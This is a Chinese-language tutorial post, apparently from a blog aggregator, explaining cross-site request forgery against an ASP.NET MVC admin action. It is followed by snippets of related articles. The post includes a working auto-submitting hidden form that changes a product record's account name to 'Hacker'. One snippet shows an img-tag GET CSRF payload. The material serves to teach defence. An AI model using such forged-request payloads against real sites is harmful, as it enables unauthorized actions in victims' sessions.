跨站请求伪造CSRF(Cross-site request forgery)

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用

一般被攻击步骤:

1.登录受信任网站A,并在本地生成Cookie。  

2.在不登出A的情况下,访问危险网站B。

所以没事的时候不要乱点链接不是随便说着玩的。

常见场景分析:

假设你有一个这样的Action,因为已经加了[Authorize(Roles = "Admins")]标记,所以只有管理员角色才可以提交数据

[HttpPost]
[Authorize(Roles = "Admins")]
public ActionResult Edit(ProductDetails productdetails)
{
    if (ModelState.IsValid)
    {
        db.Entry(productdetails).State = EntityState.Modified;
        db.SaveChanges();
        return RedirectToAction("Index");
    }
    return View(productdetails);
}

非管理员访问这个请求会被重定向到登录页,目前来看还是相对安全的。

那么假设有一个管理员已经登录了网站,就是说上面的第一步已经完成,

坐等第二步,第二步 如何实现呢,其实很简单,

一个恶意分子 模拟了这个表单提交,并且把这个表单放到了一个恶意网站下面,

如果上面的网站管理员碰巧点了这个链接(比如收到一个恶意邮件,诸如此类),恶意链接被点开并加载以后,

那么这个时候上面的Edit 请求就被管理员无意识的触发了,

第二步操作完成,攻击成功。

<form name="csrfhackForm" method="post"
    action="http://localhost:63577/ProductDetails/Edit">
    <input type="hidden" name="Id" value="1" />
    <input type="hidden" name="LicenseCount" value="5" />
    <input type="hidden" name="LicenseUsedCount" value="1" />
    <input type="hidden" name="AccountUserName" value="Hacker" />
    <input type="hidden" name="ProductName" value="B2B Product 101" />
</form>
<script type="text/javascript">
    document.csrfhackForm.submit();
</script>

http://www.devcurry.com/2013/01/what-is-antiforgerytoken-and-why-do-i.html

时间: 04-04

跨站请求伪造CSRF(Cross-site request forgery)的相关文章

深入解析跨站请求伪造漏洞:原理剖析

当存心不良的Web站点导致用户的浏览器在可信的站点上进行非意愿的活动时,我们就说发生了跨站请求伪造(CSRF)攻击.这些攻击被誉为基于Web的漏洞中的“沉睡的巨人”,因为互联网上的许多站点对此毫无防备,同时还因为这类攻击一直为web开发和安全社区所忽视. 一.概述 当存心不良的Web站点导致用户的浏览器在可信的站点上进行非意愿的活动时,我们就说发生了跨站请求伪造(CSRF)攻击.跨站请求伪造攻击亦称跨站引用伪造(XSRF),会话叠置和混淆代理人攻击.我们之所以使用术语CSRF,是因为它是描述这类

CSRF简单介绍及利用方法-跨站请求伪造

0x00 简要介绍 CSRF(Cross-site request forgery)跨站请求伪造,由于目标站无token/referer限制,导致攻击者可以用户的身份完成操作达到各种目的.根据HTTP请求方式,CSRF利用方式可分为两种. 0x01 GET类型的CSRF 这种类型的CSRF一般是由于程序员安全意识不强造成的.GET类型的CSRF利用非常简单,只需要一个HTTP请求,所以,一般会这样利用: <img src=http://wooyun.org/csrf.php?xx=11 />

CSRF跨站请求伪造

CSRF(Cross-site request forgery跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用.尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左.XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站.与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性. ht

Web安全相关(二):跨站请求伪造(CSRF/XSRF)

简介 CSRF(Cross-site request forgery跨站请求伪造,也被称为"One Click Attack"或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用.尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左.XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站.与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更

自动化运维Python系列之Django CSRF跨站请求伪造、中间件

CSRF CSRF,跨站请求伪造是一种挟持用户在当前已登陆的web站点应用程序上执行非本意的操作攻击方法,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品). Django的CSRF中间件验证就可以有效地杜绝此类恶意攻击,原理就是Django在内部会对通过验证请求的客户端再做一次加密验证,该加密方式只有Django自己知道,客户端即使携带session反解密CSRF不成功也会拒绝访问:这是Django生

Web安全测试之跨站请求伪造(CSRF)篇

跨站请求伪造(即CSRF)被Web安全界称为诸多漏洞中“沉睡的巨人”,其威胁程度由此“美誉”便可见一斑.本文将简单介绍该漏洞,并详细说明造成这种漏洞的原因所在,以及针对该漏洞的黑盒测试与灰盒子测试具体方法和示例,最后提提了一些防范该攻击的建议,希望本文对读者的安全测试能够有所启发. 一.CSRF概述 我们首先来了解一下什么是跨站请求伪造(CSRF)?跨站请求伪造是一种挟制终端用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法.攻击者只要借助少许的社会工程诡计,例如通过电子邮件或者是聊天

Django之cfrs跨站请求伪造和xfs攻击

跨站请求伪造 一.简介 django为用户实现防止跨站请求伪造的功能,通过中间件 django.middleware.csrf.CsrfViewMiddleware 来完成.而对于django中设置防跨站请求伪造功能有分为全局和局部. 全局: 中间件 django.middleware.csrf.CsrfViewMiddleware 局部: @csrf_protect,为当前函数强制设置防跨站请求伪造功能,即便settings中没有设置全局中间件. @csrf_exempt,取消当前函数防跨站请

crsf 跨站请求伪造

[crsf 跨站请求伪造] CSRF(Cross-site request forgery),中文名称:跨站请求伪造.核心为利用浏览器帮助提交cookie.采用随机数方可防御.估计大部小站均无CSRF的防御. 参考: 1.http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html 2.<深入浅出Node>,8.2.4.2,csrf.

我要学ASP.NET MVC 3.0(十三): MVC 3.0 防止跨站点请求伪造 (CSRF) 攻击

我要学ASP.NET MVC 3.0(十三): MVC 3.0 防止跨站点请求伪造 (CSRF) 攻击 概述      众所周知,ASP.Net MVC程序在浏览器运行时产生了标准的Html标签,包括浏览器要发送的关键数据等内容都在Html内容里面,听起来不错,但是假如我们仿造类似的Html内容,更改里面关键数据,在浏览器运行起来会怎么样呢?好下面我们就做这样一个例子.       CSRF攻击例子 首先我们拿以前做好的person/edit作为例子 先看控制器代码 //初始页面